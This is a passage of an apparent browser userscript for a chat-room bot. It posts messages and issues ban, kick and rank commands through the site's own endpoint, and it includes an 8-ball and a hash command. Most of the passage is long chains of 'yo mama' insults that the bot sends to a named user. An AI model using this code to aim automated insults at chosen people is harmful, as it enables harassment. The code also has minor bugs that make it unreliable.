  497.         xmlHttp2.send(null);      
  498.     }
  499.     function sendMessageBieber(message) {
  500.         xmlHttp2 = unsafeWindow.getHTTPObject();
  501.         xmlHttp2.open('GET','/Post?m='+message,true);
  502.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  503.         xmlHttp2.setRequestHeader("Connection", "close");
  504.         xmlHttp2.send(null);  
  505.     }
  506.     function banFunct(reason,user,bantime) {
  507.         xmlHttp2 = unsafeWindow.getHTTPObject();
  508.         xmlHttp2.open('GET','/Post?p='+reason+'&u='+user+'&t=/g'+bantime*3600,true);
  509.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  510.         xmlHttp2.setRequestHeader("Connection", "close");
  511.         xmlHttp2.send(null);  
  512.     }
  513.     function moderateFunc2(reason,user) {
  514.         xmlHttp2 = unsafeWindow.getHTTPObject();
  515.         xmlHttp2.open('GET','/Post?p='+reason+'&u='+user+'&t=/k',true);
  516.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  517.         xmlHttp2.setRequestHeader("Connection", "close");
  518.         xmlHttp2.send(null);  
  519.     }
  520.     function autoKickFunct(user,status,remove) {
  521.         if(status != 1339){
  522.         return;
  523.         }
  524.         xmlHttp2 = unsafeWindow.getHTTPObject();
  525.         xmlHttp2.open('GET','/Post?p=&u='+user+'&t=/k',true);
  526.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  527.         xmlHttp2.setRequestHeader("Connection", "close");
  528.         xmlHttp2.send(null);
  529.         if(remove != 1){
  530.         return;
  531.         akon = akoff;
  532.         }
  533.     }
  534.     function rankFunct(user,rank) {
  535.         xmlHttp2 = unsafeWindow.getHTTPObject();
  536.         xmlHttp2.open('GET','/Post?p=&u='+user+'&t=/'+rank,true);
  537.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  538.         xmlHttp2.setRequestHeader("Connection", "close");
  539.         xmlHttp2.send(null);  
  540.     }
  541.     function r4nkFunct(user) {
  542.         xmlHttp2 = unsafeWindow.getHTTPObject();
  543.         xmlHttp2.open('GET','/Post?u='+user+'&t=/k',true);
  544.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  545.         xmlHttp2.setRequestHeader("Connection", "close");
  546.         xmlHttp2.send(null);  
  547.     }
  548.     //Sends a message out to PC
  549.     function sendPC(message,id) {
  550.         xmlHttp2 = unsafeWindow.getHTTPObject();
  551.         xmlHttp2.open('GET','/Post?u='+id+'&t='+message,true);
  552.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  553.         xmlHttp2.setRequestHeader("Connection", "close");
  554.         xmlHttp2.send(null);      
  555.         }
  556.         function sendPM(message,id) {
  557.         xmlHttp2 = unsafeWindow.getHTTPObject();
  558.         xmlHttp2.open('GET','/Post?u='+id+'&s=2&t='+message,true);
  559.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  560.         xmlHttp2.setRequestHeader("Connection", "close");
  561.         xmlHttp2.send(null);      
  562.         }
  563.         function sendRef(id) {
  564.         var rando = Math.floor(Math.random()*6553676)
  565.         xmlHttp2 = unsafeWindow.getHTTPObject();
  566.         xmlHttp2.open('GET','/Post?u='+devid1+'&t=/t'+rando,true);
  567.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  568.         xmlHttp2.setRequestHeader("Connection", "close");
  569.         xmlHttp2.send(null);  
  570.         findString("You have been logged out!");
  571.         findString("Error");
  572.     }
  573.     function sendR3f(id) {
  574.     }
  575.         function datetime()         //date & time
  576.         {
  577.             var currentDate = new Date()            //reset date
  578.             var day = currentDate.getDate()         //dd
  579.             var month = currentDate.getMonth() + 1  //mm
  580.             var year = currentDate.getFullYear()    //yyyy
  581.             var hr = currentDate.getHours()         //hh
  582.             var min = currentDate.getMinutes()      //mm
  583.             var sec = currentDate.getSeconds()      //ss
  584.             sendPC( botresponename+":  Date: |" + day + "|" + month + "|" + year + "| Time |" + hr + ":" + min + ":" + sec +"|",devid1 );
  585.             }
  586.             function eightBall(argu)
  587.             {
  588.                     var randomNumber = Math.floor( Math.random() * 4 ) + 1;
  589.                     if( randomNumber == 1 ) sendMessage(  botresponename+":  [ "+ argu +"] Most likely." );
  590.                     else if( randomNumber == 2 ) sendMessage( botresponename+":  [ "+ argu +"]  Yes." );
  591.                     else if( randomNumber == 3 ) sendMessage( botresponename+":  [ "+ argu +"]  No." );
  592.                     else if( randomNumber == 4 ) sendMessage( botresponename+":  [ "+ argu +"]  Not likely." );
  593.                 }
  594.                 function eightBallRig(argu)
  595.                 {
  596.                     var randomNumber = Math.floor( Math.random() * 4 ) + 1;
  597.                     if( randomNumber == 1 ) sendMessage(  botresponename+":  [ "+ argu +"] Most likely master." );
  598.                     else if( randomNumber == 2 ) sendMessage( botresponename+":  [ "+ argu +"]  Yes master." );
  599.                     else if( randomNumber == 3 ) sendMessage( botresponename+":  [ "+ argu +"]  Definitely master." );
  600.                     else if( randomNumber == 4 ) sendMessage( botresponename+":  [ "+ argu +"]  It is certain master." );
  601.                 }
  602.                 function crypto( arg, alg ) //encryption..
  603.                 {
  604.                 setTimeout( function() // unsafeWindow cannot call GM_cryptoHash()
  605.                 {
  606.                         var hashed = GM_cryptoHash( arg, alg );
  607.                         if( alg == "SHA512" ) setTimeout( function() { sendMessage( hashed ); }, 1750 );
  608.                         else if( alg == "SHA384" || alg == "SHA256" ) setTimeout( function() { sendMessage(hashed ); }, 1500 );
  609.                         else setTimeout( function() { sendMessage( hashed ); }, 1000 );
  610.                 }, 1);
  611.                        }
  612.                        function insult( argu ) //I should of used var insult= [...] but I'm too lazy, by Twin, for some annoying people.
  613.                         {
  614.                         var randomNumber = Math.floor( Math.random() * 172 ) + 1;
  615.                         if( randomNumber == 1) sendMessage( argu+",Yo mama`s so fat, I had to take a train and two buses just to get on her good side.");
  616.                         else if( randomNumber == 2) sendMessage( argu+",Yo mama`s so fat, people jog around her for exercise.");
  617.                         else if( randomNumber == 3) sendMessage( argu+",Yo mama`s so fat, when she wears high heels, she strikes oil.");
  618.                         else if( randomNumber == 4) sendMessage( argu+",Yo mama`s so fat, her blood type is Ragu.");
  619.                         else if( randomNumber == 5) sendMessage( argu+",Yo mama`s so fat, her picture fell off the wall.");
  620.                         else if( randomNumber == 6) sendMessage( argu+",Yo mama`s so fat, her college graduation picture was an aerial.");
  621.                         else if( randomNumber == 7) sendMessage( argu+",Yo mama`s so fat, she looks like she`s smuggling a Volkswagen.");
  622.                         else if( randomNumber == 8) sendMessage( argu+",Yo mama`s so fat, she goes to a restaurant, looks at the menu, and says ``Okay.``");
  623.                         else if( randomNumber == 9) sendMessage( argu+",Yo mama`s so fat, she even orders, ``Thank you, come again.``");
  624.                         else if( randomNumber == 10) sendMessage( argu+",Yo mama`s so fat, when she brought her dress to the cleaners, they said ``Sorry, we don`t do curtains.``");
  625.                         else if( randomNumber == 11) sendMessage( argu+",Yo mama`s so fat, when she turns around, people throw her a welcome back party.");
  626.                         else if( randomNumber == 12) sendMessage( argu+",Yo mama`s so fat, she can`t even jump to a conclusion.");
  627.                         else if( randomNumber == 13) sendMessage( argu+",Yo mama`s so fat, when she talks to herself, it`s a long distance call.");
  628.                         else if( randomNumber == 14) sendMessage( argu+",Yo mama`s so fat, if she weighed five more pounds, she could get group insurance.");
  629.                         else if( randomNumber == 15) sendMessage( argu+",Yo mama`s so fat, she broke her leg and gravy poured out.");
  630.                         else if( randomNumber == 16) sendMessage( argu+",Yo mama`s so fat, when she takes a shower, her feet don`t get wet.");
  631.                         else if( randomNumber == 17) sendMessage( argu+",Yo mama`s so fat, the post office gave her 2 zip codes.");
  632.                         else if( randomNumber == 18) sendMessage( argu+",Yo mama`s so fat, she was floating in the ocean and Spain claimed her as a new world.");
  633.                         else if( randomNumber == 19) sendMessage( argu+",Yo mama`s so fat, she went to the movies and sat next to everyone.");
  634.                         else if( randomNumber == 20) sendMessage( argu+",Yo mama`s so fat, she has to iron her pants on the driveway.");
  635.                         else if( randomNumber == 21) sendMessage( argu+",Yo mama`s so fat, she fell in love and broke it.");
  636.                         else if( randomNumber == 22) sendMessage( argu+",Yo mama`s so fat, she gets clothes in three sizes: extra large, jumbo, and oh-no-it`s-coming-toward-us!");
  637.                         else if( randomNumber == 23) sendMessage( argu+",Yo mama`s so fat, she has to grease her hands to get into her pockets.");
  638.                         else if( randomNumber == 24) sendMessage( argu+",Yo mama`s so fat, her shadow weighs 2 pounds.");
  639.                         else if( randomNumber == 25) sendMessage( argu+",Yo mama`s so fat, she jumped up in the air and got stuck.");
  640.                         else if( randomNumber == 26) sendMessage( argu+",Yo mama`s so fat, she puts on her lipstick with a paint-roller.");
  641.                         else if( randomNumber == 27) sendMessage( argu+",Yo mama`s so fat, she sat on the corner and the police came and said, ``Hey, break it up.``");
  642.                         else if( randomNumber == 28) sendMessage( argu+",Yo mama`s so fat, she stood in front of the Hollywood sign and it just said H d.");
  643.                         else if( randomNumber == 29) sendMessage( argu+",Yo mama`s so fat, she went to get a tan and the sun burned out.");
  644.                         else if( randomNumber == 30) sendMessage( argu+",Yo mama`s so fat, she wears a VCR for a beeper.");
  645.                         else if( randomNumber == 31) sendMessage( argu+",Yo mama`s so fat, she`s on both sides of the family.");
  646.                         else if( randomNumber == 32) sendMessage( argu+",Yo mama`s so fat, when she goes on a picnic in the mountains, bears hide their food.");
  647.                         else if( randomNumber == 33) sendMessage( argu+",Yo mama`s so fat, I swerved to avoid her in the road and ran out of gas.");
  648.                         else if( randomNumber == 34) sendMessage( argu+",Yo mama`s so fat, she has to take a bath at Sea World.");
  649.                         else if( randomNumber == 35) sendMessage( argu+",Yo mama`s so fat, when she back up, she beep. [sic]");
  650.                         else if( randomNumber == 36) sendMessage( argu+",Yo mama`s so fat, they had to grease a door frame and hold a Twinkie on the other side to get her through.");
  651.                         else if( randomNumber == 37) sendMessage( argu+",Yo mama`s so fat, her navel gets home 10 minutes before she does.");
  652.                         else if( randomNumber == 38) sendMessage( argu+",Yo mama`s so fat, she`s taller lying down than standing up.");
  653.                         else if( randomNumber == 39) sendMessage( argu+",Yo mama`s so fat, when she fell over she rocked herself asleep trying to get back up.");
  654.                         else if( randomNumber == 40) sendMessage( argu+",Yo mama`s so fat, when she puts her hand on her hip, she looks like a gallon of milk.");
  655.                         else if( randomNumber == 41) sendMessage( argu+",Yo mama`s so fat, they had to install speed bumps at the all-u-can-eat buffet.");
  656.                         else if( randomNumber == 42) sendMessage( argu+",Yo mama`s so fat, when she steps on a scale, it says, ``One at a time, please.``");
  657.                         else if( randomNumber == 43) sendMessage( argu+",Yo mama`s so fat, when she steps on a scale, it says, ``To be continued....``");
  658.                         else if( randomNumber == 44) sendMessage( argu+",Yo mama`s so fat, when she steps on a scale, it says, ``Please step out of the car.``");
  659.                         else if( randomNumber == 45) sendMessage( argu+",Yo mama`s so fat, when she wears a red dress, kids yell ``Kool-Aid!``");
  660.                         else if( randomNumber == 46) sendMessage( argu+",Yo mama`s so fat, when she wears a yellow raincoat, people call her ``Taxi!``");
  661.                         else if( randomNumber == 47) sendMessage( argu+",Yo mama`s so fat, when she went to the beach, Greenpeace tried to drag her back into the ocean.");
  662.                         else if( randomNumber == 48) sendMessage( argu+",Yo mama`s so fat, when she walks across the room, she`s gotta make two trips.");
  663.                         else if( randomNumber == 49) sendMessage( argu+",Yo mama`s so fat, when she goes to the beach, no one else gets a tan.");
  664.                         else if( randomNumber == 50) sendMessage( argu+",Yo mama`s so fat, her belly button`s got an echo.");
  665.                         else if( randomNumber == 51) sendMessage( argu+",Yo mama`s so fat, she uses Route 66 for a Slip`n`Slide.");
  666.                         else if( randomNumber == 52) sendMessage( argu+",Yo mama`s so fat, they had to change ``One size fits all`` to ``One size fits most.``");
  667.                         else if( randomNumber == 53) sendMessage( argu+",Yo mama`s so fat, you have to take three steps to see all of her.");
  668.                         else if( randomNumber == 54) sendMessage( argu+",Yo mama`s so fat, she made Weight Watchers go blind.");
  669.                         else if( randomNumber == 55) sendMessage( argu+",Yo mama`s so stupid, she spent twenty minutes looking at an orange juice box because it said ``concentrate.``");
  670.                         else if( randomNumber == 56) sendMessage( argu+",Yo mama`s so stupid, she put lipstick on her forehead because she wanted to make up her mind.");
  671.                         else if( randomNumber == 57) sendMessage( argu+",Yo mama`s so stupid, they had to burn the school down to get her out of the 3rd grade.");
  672.                         else if( randomNumber == 58) sendMessage( argu+",Yo mama`s so stupid, she sat in a tree house because she wanted to be a branch manager.");
  673.                         else if( randomNumber == 59) sendMessage( argu+",Yo mama`s so stupid, she stole a police car because she thought ``911`` meant Porsche.");
  674.                         else if( randomNumber == 60) sendMessage( argu+",Yo mama`s so stupid, she sat on the TV & watched the couch.");
  675.                         else if( randomNumber == 61) sendMessage( argu+",Yo mama`s so stupid, when she was taking you to the airport and a sign said ``Airport Left,`` she turned around and went home.");
  676.                         else if( randomNumber == 62) sendMessage( argu+",Yo mama`s so stupid, she put a ruler by her pillow to see how long she slept.");
  677.                         else if( randomNumber == 63) sendMessage( argu+",Yo mama`s so stupid, she was locked in a grocery store and starved.");
  678.                         else if( randomNumber == 64) sendMessage( argu+",Yo mama`s so stupid, your house burned down because she couldn`t find the ``11`` button to call 911.");
  679.                         else if( randomNumber == 65) sendMessage( argu+",Yo mama`s so stupid, she brought a spoon to the Super Bowl.");
  680.                         else if( randomNumber == 66) sendMessage( argu+",Yo mama`s so stupid, she brought a towel to her carpool.");
  681.                         else if( randomNumber == 67) sendMessage( argu+",Yo mama`s so stupid, she thought a quarterback was a refund.");
  682.                         else if( randomNumber == 68) sendMessage( argu+",Yo mama`s so stupid, she thought a lawsuit was something you wear to court.");
  683.                         else if( randomNumber == 69) sendMessage( argu+",Yo mama`s so stupid, she took the Pepsi challenge and chose Jif.");
  684.                         else if( randomNumber == 70) sendMessage( argu+",Yo mama`s so stupid, she stole free bread.");
  685.                         else if( randomNumber == 71) sendMessage( argu+",Yo mama`s so stupid, she got tangled up in a cordless phone.");
  686.                         else if( randomNumber == 72) sendMessage( argu+",Yo mama`s so stupid, it takes her 2 hours to watch 60 Minutes.");
  687.                         else if( randomNumber == 73) sendMessage( argu+",Yo mama`s so stupid, if she spoke her mind, she`d be speechless.");
  688.                         else if( randomNumber == 74) sendMessage( argu+",Yo mama`s so stupid, she jumped out the window and went up.");
  689.                         else if( randomNumber == 75) sendMessage( argu+",Yo mama`s so stupid, she failed a blood test.");
  690.                         else if( randomNumber == 76) sendMessage( argu+",Yo mama`s so stupid, she thought hamburger helper came with another person.");
  691.                         else if( randomNumber == 77) sendMessage( argu+",Yo mama`s so stupid, if you gave her a penny for her thoughts, you`d get change back.");
  692.                         else if( randomNumber == 78) sendMessage( argu+",Yo mama`s so stupid, she got hit by a parked car.");
  693.                         else if( randomNumber == 79) sendMessage( argu+",Yo mama`s so stupid, she sold the car for gas money.");
  694.                         else if( randomNumber == 80) sendMessage( argu+",Yo mama`s so stupid, when your dad said, ``It`s chilly outside,`` she ran into the kitchen to get a bowl.");
  695.                         else if( randomNumber == 81) sendMessage( argu+",Yo mama`s so stupid, she thinks Taco Bell is the Mexican phone company.");
  696.                         else if( randomNumber == 82) sendMessage( argu+",Yo mama`s so stupid, she got fired from the M&M`s factory for throwing away all the W`s.");
  697.                         else if( randomNumber == 83) sendMessage( argu+",Yo mama`s so stupid, she heard that 90% of all accidents occur around the home, so she moved.");
  698.                         else if( randomNumber == 84) sendMessage( argu+",Yo mama`s so ugly, when she joined an ugly contest, they said, ``Sorry, no professionals.``");
  699.                         else if( randomNumber == 85) sendMessage( argu+",Yo mama`s so ugly, her face is closed on weekends.");
  700.                         else if( randomNumber == 86) sendMessage( argu+",Yo mama`s so ugly, when she gets up, the sun goes down.");
  701.                         else if( randomNumber == 87) sendMessage( argu+",Yo mama`s so ugly, she has to sneak up on bath water.");
  702.                         else if( randomNumber == 88) sendMessage( argu+",Yo mama`s so ugly, her picture is on the inside of a Roach Motel.");
  703.                         else if( randomNumber == 89) sendMessage( argu+",Yo mama`s so ugly, she`d make a train take a dirt road.");
  704.                         else if( randomNumber == 90) sendMessage( argu+",Yo mama`s so ugly, instead of having her own 900 number, she has her own 911 number.");
  705.                         else if( randomNumber == 91) sendMessage( argu+",Yo mama`s so ugly, when I took her to a haunted house, she came out with a paycheck.");
  706.                         else if( randomNumber == 92) sendMessage( argu+",Yo mama`s so ugly, when I took her to the zoo, the guy at the door said, ``Thanks for bringing her back.``");
  707.                         else if( randomNumber == 93) sendMessage( argu+",Yo mama`s so ugly, people go as her for Halloween.");
  708.                         else if( randomNumber == 94) sendMessage( argu+",Yo mama`s so ugly, she has to trick or treat over the phone.");
  709.                         else if( randomNumber == 95) sendMessage( argu+",Yo mama`s so ugly, the government moved Halloween to her birthday.");
  710.                         else if( randomNumber == 96) sendMessage( argu+",Yo mama`s so ugly, she makes onions cry.");
  711.                         else if( randomNumber == 97) sendMessage( argu+",Yo mama`s so ugly, she scares away blind kids.");
  712.                         else if( randomNumber == 98) sendMessage( argu+",Yo mama`s so ugly, she threw a boomerang and it wouldn`t come back.");
  713.                         else if( randomNumber == 99) sendMessage( argu+",Yo mama`s so ugly, when she was born, the doctor slapped her mama.");
  714.                         else if( randomNumber == 100) sendMessage( argu+",Yo mama`s so ugly, the doctor`s still slapping her.");
  715.                         else if( randomNumber == 101) sendMessage( argu+",Yo mama`s so ugly, when she leaned over to hear, ``snap, crackle, pop,`` all she heard was ``Aargh! Get us out of here!``");
  716.                         else if( randomNumber == 102) sendMessage( argu+",Yo mama`s so ugly, the psychiatrist makes her lie face down.");
  717.                         else if( randomNumber == 103) sendMessage( argu+",Yo mama`s so ugly, they didn`t give her a costume when she tried out for Star Wars.");
  718.                         else if( randomNumber == 104) sendMessage( argu+",Yo mama`s so ugly, when she passes by a bathroom all the toilets flush.");
  719.                         else if( randomNumber == 105) sendMessage( argu+",Yo mama`s so ugly, when she walks in the kitchen, the rats jump on the table and start screaming.");
  720.                         else if( randomNumber == 106) sendMessage( argu+",Yo mama`s so ugly, when she walks into a bank, they turn off the cameras.");
  721.                         else if( randomNumber == 107) sendMessage( argu+",Yo mama`s so ugly, her parents fed her with a slingshot.");
  722.                         else if( randomNumber == 108) sendMessage( argu+",Yo mama`s so old, her birth certificate expired.");
  723.                         else if( randomNumber == 109) sendMessage( argu+",Yo mama`s so old, I told her to act her age and she died.");
  724.                         else if( randomNumber == 110) sendMessage( argu+",Yo mama`s so old, her social security number is 23.");
  725.                         else if( randomNumber == 111) sendMessage( argu+",Yo mama`s so old, when she was in school there was no history class.");
  726.                         else if( randomNumber == 112) sendMessage( argu+",Yo mama`s so old, Moses is in her high school yearbook.");
  727.                         else if( randomNumber == 113) sendMessage( argu+",Yo mama`s so old, she knew Burger King while he was still a prince.");
  728.                         else if( randomNumber == 114) sendMessage( argu+",Yo mama`s so poor, when I ring the doorbell she says ``Ding!``");
  729.                         else if( randomNumber == 115) sendMessage( argu+",Yo mama`s so poor, when I saw her kicking a can down the street and asked her what she was doing, she said, ``Moving.``");
  730.                         else if( randomNumber == 116) sendMessage( argu+",Yo mama`s so poor, she has to eat a large pizza outside.");
  731.                         else if( randomNumber == 117) sendMessage( argu+",Yo mama`s so poor, she has to go outside to change her mind.");
  732.                         else if( randomNumber == 118) sendMessage( argu+",Yo mama`s so poor, she dropped a kleenex and got wall-to-wall carpeting.");
  733.                         else if( randomNumber == 119) sendMessage( argu+",Yo mama`s so poor, she went to McDonald`s and put a milkshake on layaway.");
  734.                         else if( randomNumber == 120) sendMessage( argu+",Yo mama`s so poor, your TV has 2 channels: ``on`` and ``off.``");
  735.                         else if( randomNumber == 121) sendMessage( argu+",Yo mama`s so poor, they put her picture on the food stamp.");
  736.                         else if( randomNumber == 122) sendMessage( argu+",Yo mama`s so poor, she can`t even afford to pay attention.");
  737.                         else if( randomNumber == 123) sendMessage( argu+",Yo mama`s so short, she poses for trophies.");
  738.                         else if( randomNumber == 124) sendMessage( argu+",Yo mama`s so short, she can do backflips under the bed.");
  739.                         else if( randomNumber == 125) sendMessage( argu+",Yo mama`s so short, she needs a ladder to pick up a dime.");
  740.                         else if( randomNumber == 126) sendMessage( argu+",Yo mama`s so short, you can see her feet on her driver`s license picture.");
  741.                         else if( randomNumber == 127) sendMessage( argu+",Yo mama`s so skinny, she turned sideways and disappeared.");
  742.                         else if( randomNumber == 128) sendMessage( argu+",Yo mama`s so skinny, she got her ear pierced and died.");
  743.                         else if( randomNumber == 129) sendMessage( argu+",Yo mama`s so skinny, she has to wear a belt with spandex.");
  744.                         else if( randomNumber == 130) sendMessage( argu+",Yo mama smells so bad, she made Speed Stick slow down.");
  745.                         else if( randomNumber == 131) sendMessage( argu+",Yo mama smells so bad, she made Right Guard turn left.");
  746.                         else if( randomNumber == 132) sendMessage( argu+",Yo mama smells so bad, Secret told on her.");
  747.                         else if( randomNumber == 133) sendMessage( argu+",Yo mama smells so bad, Sure is confused.");
  748.                         else if( randomNumber == 134) sendMessage( argu+",Yo mama`s so bald, her hair looks like stitches.");
  749.                         else if( randomNumber == 135) sendMessage( argu+",Yo mama`s so bald, she uses rice for curlers.");
  750.                         else if( randomNumber == 136) sendMessage( argu+",Yo mama`s so bald, when she showers she gets brainwashed.");
  751.                         else if( randomNumber == 137) sendMessage( argu+",Yo mama`s so bald, I can see what`s on her mind.");
  752.                         else if( randomNumber == 138) sendMessage( argu+",Yo mama`s so bald, a wig doesn`t help.");
  753.                         else if( randomNumber == 139) sendMessage( argu+",Yo mama`s got a wooden leg with a kickstand.");
  754.                         else if( randomNumber == 140) sendMessage( argu+",Yo mama`s got a wooden leg with branches.");
  755.                         else if( randomNumber == 141) sendMessage( argu+",Yo mama`s got a wooden leg with a real foot.");
  756.                         else if( randomNumber == 142) sendMessage( argu+",Yo mama`s got two wooden legsYo mama`s got  and one is backward.");
  757.                         else if( randomNumber == 143) sendMessage( argu+",Yo mama`s got a glass leg full of Kool-aid.");
  758.                         else if( randomNumber == 144) sendMessage( argu+",Yo mama`s got an afro with a chin strap.");
  759.                         else if( randomNumber == 145) sendMessage( argu+",Yo mama`s got a $4 weave and don`t know when to leave.");
  760.                         else if( randomNumber == 146) sendMessage( argu+",Yo mama`s got a bald head with a part and sideburns.");
  761.                         else if( randomNumber == 147) sendMessage( argu+",Yo mama`s got a metal afro with rusty sideburns.");
  762.                         else if( randomNumber == 148) sendMessage( argu+",Yo mama`s got a wooden afro with an ``x`` carved in the back.");
  763.                         else if( randomNumber == 149) sendMessage( argu+",Yo mama`s got green hair and thinks she`s a tree.");
  764.                         else if( randomNumber == 150) sendMessage( argu+",Yo mama`s got a wooden head.");
  765.                         else if( randomNumber == 151) sendMessage( argu+",Yo mama`s got a leather wig with suede sideburns.");
  766.                         else if( randomNumber == 152) sendMessage( argu+",Yo mama`s got more weave than a dog in traffic.");
  767.                         else if( randomNumber == 153) sendMessage( argu+",Yo mama`s got snakeskin teeth.");
  768.                         else if( randomNumber == 154) sendMessage( argu+",Yo mama`s got so many gaps in her teeth it looks like piano keys.");
  769.                         else if( randomNumber == 155) sendMessage( argu+",Yo mama`s got teeth so rotten they look like dice.");
  770.                         else if( randomNumber == 156) sendMessage( argu+",Yo mama`s got teeth so yellow when she smiles she slows down traffic.");
  771.                         else if( randomNumber == 157) sendMessage( argu+",Yo mama`s got breath so bad when she yawns her teeth duck.");
  772.                         else if( randomNumber == 158) sendMessage( argu+",Yo mama`s got breath so bad people on the phone hang up.");
  773.                         else if( randomNumber == 159) sendMessage( argu+",Yo mama`s got a glass eye with a goldfish in it.");
  774.                         else if( randomNumber == 160) sendMessage( argu+",Yo mama`s got so many rolls of fat she has to screw on her pants.");
  775.                         else if( randomNumber == 161) sendMessage( argu+",Yo mama`s got three teeth, one in her mouth and two in her pocket.");
  776.                         else if( randomNumber == 162) sendMessage( argu+",Yo mama`s got 11 fingers, all on the same hand.");
  777.                         else if( randomNumber == 163) sendMessage( argu+",Yo mama`s got 4 eyes and 2 pairs of sunglasses.");
  778.                         else if( randomNumber == 164) sendMessage( argu+",Yo mama`s got no ears and is trying on sunglasses.");
  779.                         else if( randomNumber == 165) sendMessage( argu+",Yo mama`s got a forehead so big you can show slides on it.");
  780.                         else if( randomNumber == 166) sendMessage( argu+",Yo mama`s got feet so big, her sneakers need license plates.");
  781.                         else if( randomNumber == 167) sendMessage( argu+",Yo mama`s got a mouth so big, she talks in surround sound.");
  782.                         else if( randomNumber == 168) sendMessage( argu+",Yo mama`s got a head so big, it shows up on radar.");
  783.                         else if( randomNumber == 169) sendMessage( argu+",Yo mama`s got a head so big, she don`t have dreams, she has movies.");
  784.                         else if( randomNumber == 170) sendMessage( argu+",Yo mama`s got a head so big, she has to step into her shirt.");
  785.                         else if( randomNumber == 171) sendMessage( argu+",Yo mama`s got such an ugly car, someone broke in just to steal The Club.");
  786.                         else if( randomNumber == 172) sendMessage( argu+",Yo mama`s got one toe and one knee and her name is ``Tony.``");
  787.                         else if( randomNumber == 173) sendMessage( argu+",Yo mama`s got one leg and her name is ``Eileen.``");
  788.                 }
  789.                 function roaster(argu,argu2) //I should of used var insult= [...] but I'm too lazy, by Twin, for some annoying people.
  790.                         {
  791.                         var randomNumber = Math.floor( Math.random() * 172 ) + 1;
  792.                         if( randomNumber == 1) sendPC(argu+",Yo mama`s so fat, I had to take a train and two buses just to get on her good side.",argu2);
  793.                         else if( randomNumber == 2) sendPC(argu+",Yo mama`s so fat, people jog around her for exercise.",argu2);
  794.                         else if( randomNumber == 3) sendPC(argu+",Yo mama`s so fat, when she wears high heels, she strikes oil.",argu2);
  795.                         else if( randomNumber == 4) sendPC(argu+",Yo mama`s so fat, her blood type is Ragu.",argu2);
  796.                         else if( randomNumber == 5) sendPC(argu+",Yo mama`s so fat, her picture fell off the wall.",argu2);
  797.                         else if( randomNumber == 6) sendPC(argu+",Yo mama`s so fat, her college graduation picture was an aerial.",argu2);
  798.                         else if( randomNumber == 7) sendPC(argu+",Yo mama`s so fat, she looks like she`s smuggling a Volkswagen.",argu2);
  799.                         else if( randomNumber == 8) sendPC(argu+",Yo mama`s so fat, she goes to a restaurant, looks at the menu, and says ``Okay.``",argu2);
  800.                         else if( randomNumber == 9) sendPC(argu+",Yo mama`s so fat, she even orders, ``Thank you, come again.``",argu2);
  801.                         else if( randomNumber == 10) sendPC(argu+",Yo mama`s so fat, when she brought her dress to the cleaners, they said ``Sorry, we don`t do curtains.``",argu2);
  802.                         else if( randomNumber == 11) sendPC(argu+",Yo mama`s so fat, when she turns around, people throw her a welcome back party.",argu2);
  803.                         else if( randomNumber == 12) sendPC(argu+",Yo mama`s so fat, she can`t even jump to a conclusion.",argu2);
  804.                         else if( randomNumber == 13) sendPC(argu+",Yo mama`s so fat, when she talks to herself, it`s a long distance call.",argu2);
  805.                         else if( randomNumber == 14) sendPC(argu+",Yo mama`s so fat, if she weighed five more pounds, she could get group insurance.",argu2);
  806.                         else if( randomNumber == 15) sendPC(argu+",Yo mama`s so fat, she broke her leg and gravy poured out.",argu2);
  807.                         else if( randomNumber == 16) sendPC(argu+",Yo mama`s so fat, when she takes a shower, her feet don`t get wet.",argu2);
  808.                         else if( randomNumber == 17) sendPC(argu+",Yo mama`s so fat, the post office gave her 2 zip codes.",argu2);
  809.                         else if( randomNumber == 18) sendPC(argu+",Yo mama`s so fat, she was floating in the ocean and Spain claimed her as a new world.",argu2);
  810.                         else if( randomNumber == 19) sendPC(argu+",Yo mama`s so fat, she went to the movies and sat next to everyone.",argu2);
  811.                         else if( randomNumber == 20) sendPC(argu+",Yo mama`s so fat, she has to iron her pants on the driveway.",argu2);
  812.                         else if( randomNumber == 21) sendPC(argu+",Yo mama`s so fat, she fell in love and broke it.",argu2);
  813.                         else if( randomNumber == 22) sendPC(argu+",Yo mama`s so fat, she gets clothes in three sizes: extra large, jumbo, and oh-no-it`s-coming-toward-us!",argu2);
  814.                         else if( randomNumber == 23) sendPC(argu+",Yo mama`s so fat, she has to grease her hands to get into her pockets.",argu2);
  815.                         else if( randomNumber == 24) sendPC(argu+",Yo mama`s so fat, her shadow weighs 2 pounds.",argu2);
  816.                         else if( randomNumber == 25) sendPC(argu+",Yo mama`s so fat, she jumped up in the air and got stuck.",argu2);
  817.                         else if( randomNumber == 26) sendPC(argu+",Yo mama`s so fat, she puts on her lipstick with a paint-roller.",argu2);
  818.                         else if( randomNumber == 27) sendPC(argu+",Yo mama`s so fat, she sat on the corner and the police came and said, ``Hey, break it up.``",argu2);
  819.                         else if( randomNumber == 28) sendPC(argu+",Yo mama`s so fat, she stood in front of the Hollywood sign and it just said H d.",argu2);
  820.                         else if( randomNumber == 29) sendPC(argu+",Yo mama`s so fat, she went to get a tan and the sun burned out.",argu2);
  821.                         else if( randomNumber == 30) sendPC(argu+",Yo mama`s so fat, she wears a VCR for a beeper.",argu2);
  822.                         else if( randomNumber == 31) sendPC(argu+",Yo mama`s so fat, she`s on both sides of the family.",argu2);
  823.                         else if( randomNumber == 32) sendPC(argu+",Yo mama`s so fat, when she goes on a picnic in the mountains, bears hide their food.",argu2);
  824.                         else if( randomNumber == 33) sendPC(argu+",Yo mama`s so fat, I swerved to avoid her in the road and ran out of gas.",argu2);
  825.                         else if( randomNumber == 34) sendPC(argu+",Yo mama`s so fat, she has to take a bath at Sea World.",argu2);
  826.                         else if( randomNumber == 35) sendPC(argu+",Yo mama`s so fat, when she back up, she beep. [sic]",argu2);
  827.                         else if( randomNumber == 36) sendPC(argu+",Yo mama`s so fat, they had to grease a door frame and hold a Twinkie on the other side to get her through.",argu2);
  828.                         else if( randomNumber == 37) sendPC(argu+",Yo mama`s so fat, her navel gets home 10 minutes before she does.",argu2);
  829.                         else if( randomNumber == 38) sendPC(argu+",Yo mama`s so fat, she`s taller lying down than standing up.",argu2);
